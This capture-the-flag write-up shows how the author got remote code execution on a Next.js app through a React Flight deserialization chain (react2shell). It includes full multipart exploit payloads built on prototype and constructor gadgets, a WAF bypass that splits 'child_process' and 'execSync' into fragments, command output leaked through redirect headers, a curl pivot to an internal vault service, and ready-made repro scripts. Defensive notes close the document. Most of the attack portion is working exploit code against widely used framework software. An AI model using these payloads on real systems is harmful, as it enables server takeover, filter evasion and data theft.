Challenge Overview
Category: Web
Target: http://chall.ehax.in:4269/
TL;DR: The app is a Next.js deployment with a reachable Server Action endpoint. It is vulnerable to a React Flight deserialization chain (a react2shell style exploit), allowing attacker-controlled _prefix JavaScript execution on the server. A WAF blocks obvious child_process/execSync strings, but simple string-splitting bypasses it.
Using the resulting Remote Code Execution (RCE), we enumerated files, found an internal vault hint (/app/vault.hint pointing to internal-vault:9009), queried the internal service via SSRF-style command execution, and retrieved the flag.
1. Initial Recon
The local challenge environment folder only contained a README.md, which pointed to the target deployment: http://chall.ehax.in:4269/.
The web application itself appeared extremely minimal on the surface, but the HTTP response headers returned by the Next.js server exposed that React Server Components (RSC) and Server Actions were actively in use.
2. Identifying a Working Server Action
During interaction with the app, a valid server action ID was discovered:
7fc5b26191e27c53f8a74e83e3ab54f48edd0dbdSending a direct POST request to / with the appropriate RSC headers confirmed the endpoint works as expected:
curl -sS -i 'http://chall.ehax.in:4269/' -X POST \ -H 'Accept: text/x-component' \ -H 'Next-Action: 7fc5b26191e27c53f8a74e83e3ab54f48edd0dbd' \ -H 'Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D' \ --data-urlencode '1_name=test' \ --data-urlencode '0=["$K1"]'Response:
HTTP/1.1 200 OKContent-Type: text/x-component...1:{"success":"Access Granted. Welcome to the mainframe, test."}This confirmed:
- Server Actions are enabled and reachable.
- Action parsing accepts attacker-controlled RSC model data.
3. The Hypothesis: React2Shell
This target effectively matched classic preconditions for a React Server Components deserialization attack:
- A Next.js Server Action endpoint is reachable from an unauthenticated context.
- RSC payload parser behavior is exposed by the
text/x-componentresponse. - Flight model fields (
$...references) are accepted in the request body.
A safe probe using a known react2shell side-channel payload shape produced a controlled 500 digest. This indicated the vulnerable parser path was successfully hit.
4. Confirming the Server-Side JavaScript Execution Primitive
By sending a raw multipart Flight body (instead of URL-encoded action arguments) with a malicious _prefix, we produced server-controlled redirect headers.
4.1 Minimal execution proof payload
We crafted /tmp/r2s_body_safe.txt:
------WebKitFormBoundaryx8jO2oVc6SWP3SadContent-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"throw Object.assign(new Error(\"NEXT_REDIRECT\"),{digest:\"NEXT_REDIRECT;push;/login?a=11111;307;\"});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}------WebKitFormBoundaryx8jO2oVc6SWP3SadContent-Disposition: form-data; name="1"
"$@0"------WebKitFormBoundaryx8jO2oVc6SWP3SadContent-Disposition: form-data; name="2"
[]------WebKitFormBoundaryx8jO2oVc6SWP3Sad--And fired it:
curl -sS -i 'http://chall.ehax.in:4269/' -X POST \ -H 'Next-Action: x' \ -H 'X-Nextjs-Request-Id: b5dce965' \ -H 'X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9' \ -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad' \ --data-binary @/tmp/r2s_body_safe.txtObservation:
HTTP/1.1 303 See Otherx-action-redirect: /login?a=11111;pushThat proves we can influence the server execution flow through _prefix.
4.2 Direct runtime object test
Using _prefix with typeof process returned:
x-action-redirect: /login?a=object;pushThis explicitly confirmed Node runtime object access right from our payload execution context.
5. WAF Behavior and Bypass
Naive RCE payloads containing obvious strings such as child_process, execSync, or the literal internal URL text triggered a WAF block:
HTTP/1.1 403 Forbidden{"error":"WAF Alert: Malicious payload detected."}5.1 Bypass strategy
Standard string-fragment obfuscation was sufficient to slip past the WAF:
"ch" + "ild_pro" + "cess""ex" + "ecS" + "ync"
Our validation payload looked like this:
var m="ch"+"ild_pro"+"cess";var cp=process.mainModule.require(m);var f="ex"+"ecS"+"ync";var res=cp[f]("echo $((41*271))").toString().trim();throw Object.assign(new Error("NEXT_REDIRECT"),{digest:"NEXT_REDIRECT;push;/login?a="+res+";307;"});Result:
x-action-redirect: /login?a=11111;pushRCE was confirmed, bypassing the WAF.
6. Post-Exploitation Enumeration
Since command execution worked natively, we utilized arbitrary file reads and command output exfiltration via the x-action-redirect header constraint.
6.1 Enumerate Root and App Directories
Using fs.readdirSync via _prefix:
/contained standard container directories./apprevealed.next,node_modules,package.json,server.js, andvault.hint.
6.2 Read Hint File
Reading /app/vault.hint via fs.readFileSync yielded an interesting exfiltration result:
x-action-redirect: /login?a=internal-vault:9009;pushThis indicated an internal service network pivot was necessary to capture the flag.
7. Internal Pivot to the Vault Service
Directly calling the internal service from payload command execution:
var c="cu"+"rl -s http://in"+"ternal-va"+"ult:9009/";var res=cp[f](c).toString().trim();This returned an HTML directory listing explicitly showing flag.txt.
Then, fetching the flag file itself:
var c="cu"+"rl -s http://in"+"ternal-va"+"ult:9009/fl"+"ag.txt";var res=cp[f](c).toString().trim();Final Exfiltration Header:
x-action-redirect: /login?a=EHAX%7B1_m0r3_r34s0n_t0_us3_4ngu14r%7D;pushDecoding the URL-encoded string gave us our flag.
8. Complete Repro Commands
Below is a practical minimal sequence to replicate the attack from start to finish.
Step A: Prove Gadget Execution
cat >/tmp/r2s_exec_check.txt <<'EOF2'------WebKitFormBoundaryx8jO2oVc6SWP3SadContent-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"throw Object.assign(new Error(\"NEXT_REDIRECT\"),{digest:\"NEXT_REDIRECT;push;/login?a=11111;307;\"});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}------WebKitFormBoundaryx8jO2oVc6SWP3SadContent-Disposition: form-data; name="1"
"$@0"------WebKitFormBoundaryx8jO2oVc6SWP3SadContent-Disposition: form-data; name="2"
[]------WebKitFormBoundaryx8jO2oVc6SWP3Sad--EOF2
curl -sS -i 'http://chall.ehax.in:4269/' -X POST \ -H 'Next-Action: x' \ -H 'X-Nextjs-Request-Id: b5dce965' \ -H 'X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9' \ -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad' \ --data-binary @/tmp/r2s_exec_check.txtStep B: Extract Flag from Internal Vault
cat >/tmp/r2s_get_flag.txt <<'EOF2'------WebKitFormBoundaryx8jO2oVc6SWP3SadContent-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var m=\"ch\"+\"ild_pro\"+\"cess\";var cp=process.mainModule.require(m);var f=\"ex\"+\"ecS\"+\"ync\";var c=\"cu\"+\"rl -s http://in\"+\"ternal-va\"+\"ult:9009/fl\"+\"ag.txt\";var res=cp[f](c).toString().trim();throw Object.assign(new Error(\"NEXT_REDIRECT\"),{digest:\"NEXT_REDIRECT;push;/login?a=\"+encodeURIComponent(res)+\";307;\"});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}------WebKitFormBoundaryx8jO2oVc6SWP3SadContent-Disposition: form-data; name="1"
"$@0"------WebKitFormBoundaryx8jO2oVc6SWP3SadContent-Disposition: form-data; name="2"
[]------WebKitFormBoundaryx8jO2oVc6SWP3Sad--EOF2
curl -sS -i 'http://chall.ehax.in:4269/' -X POST \ -H 'Next-Action: x' \ -H 'X-Nextjs-Request-Id: b5dce965' \ -H 'X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9' \ -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad' \ --data-binary @/tmp/r2s_get_flag.txtLook for the x-action-redirect header and URL-decode the a= value.
9. Root Cause Summary
The server inadvertently accepts attacker-controlled React Flight multipart models running within a Server Action context. It processes them up to a deserialization and code-path vulnerability, which cleanly evaluates controllable function-like structures natively (the react2shell chaining attack). This enables wide-open server-side Javascript execution right within the Node process scope.
The WAF that sat in front of the process strictly applied static signature checks and plain-text string matches. Straightforward obfuscation easily bypassed its limitations.
10. Defensive Notes
- Patch Next.js/React runtimes to versions that resolve components vulnerable to React2Shell-related deserialization.
- Disable or stringently gate exposed Server Actions if they are unused.
- Treat Web Application Firewalls (WAFs) as defense-in-depth components rather than complete mitigations; signature-only filters are easy to circumvent.
- Adhere strictly to the principle of least privilege, blocking cross-talk inside Docker networks natively. Restrict egress and internal service access from web containers (
internal-vault:9009functionally should not be publicly reachable from the frontend runtime!).
Final Flag
EHAX{1_m0r3_r34s0n_t0_us3_4ngu14r}